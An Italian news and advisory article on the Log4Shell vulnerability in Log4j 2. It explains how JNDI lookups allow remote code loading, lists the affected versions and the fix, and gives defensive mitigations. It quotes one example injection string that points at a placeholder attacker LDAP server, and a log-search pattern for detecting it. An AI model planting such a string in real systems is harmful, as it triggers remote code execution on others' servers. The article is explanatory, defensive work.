Da giovedì 9 dicembre gli amministratori di sistema di tutto il mondo hanno un solo pensiero. Si chiama Log4Shell, CVE-2021-44228, ha la gravità massima di 10 su 10 e colpisce Log4j 2, la libreria di logging più usata nel mondo Java. Sta dentro software aziendali, servizi cloud, applicazioni web, appliance e videogiochi: i primi attacchi visibili sono partiti dalla chat di Minecraft.
Log4j supporta le lookup, espressioni come ${...} che vengono sostituite con un valore nel momento in cui si scrive il log. Una di queste usa JNDI e può caricare oggetti da un server remoto. Se un attaccante riesce a far scrivere nei log una stringa come ${jndi:ldap://server-attaccante/a}, l’applicazione contatta quel server, scarica una classe Java e la esegue. E far finire una stringa nei log è banale: basta uno User-Agent, un campo di login, un messaggio di chat, il nome di un dispositivo. Niente autenticazione, niente clic.
Il difficile è sapere dove si trova
Sono vulnerabili le versioni dalla 2.0-beta9 alla 2.14.1. La falla è stata segnalata ad Apache il 24 novembre da un ricercatore di Alibaba Cloud, e la 2.15.0 la corregge. Aggiornare una libreria sembra semplice, finché non scopri che è inclusa dentro prodotti di terzi, a volte in più copie, senza che tu lo sappia. I produttori stanno pubblicando elenchi e aggiornamenti, ma ci vorranno settimane. Intanto gli attacchi sono già di massa, con miner, botnet e i primi strumenti di accesso usati dai gruppi criminali.
Le contromisure di queste ore
- Cerca i file
log4j-core-*.jarsui server, anche dentro archivi.war,.eare.jar, e leggi gli avvisi dei produttori del software che usi. - Aggiorna a Log4j 2.15.0 o successiva, o installa gli aggiornamenti dei prodotti che la includono.
- Se la versione è almeno la 2.10 e non puoi aggiornare, avvia Java con
-Dlog4j2.formatMsgNoLookups=trueo impostaLOG4J_FORMAT_MSG_NO_LOOKUPS=true. - In alternativa rimuovi la classe vulnerabile:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Blocca anche il traffico in uscita non necessario, in particolare LDAP e RMI verso Internet: senza quella connessione l’attacco più comune fallisce. Poi cerca nei log di web server e WAF le stringhe che contengono ${jndi:, anche offuscate, e controlla cosa è successo subito dopo.
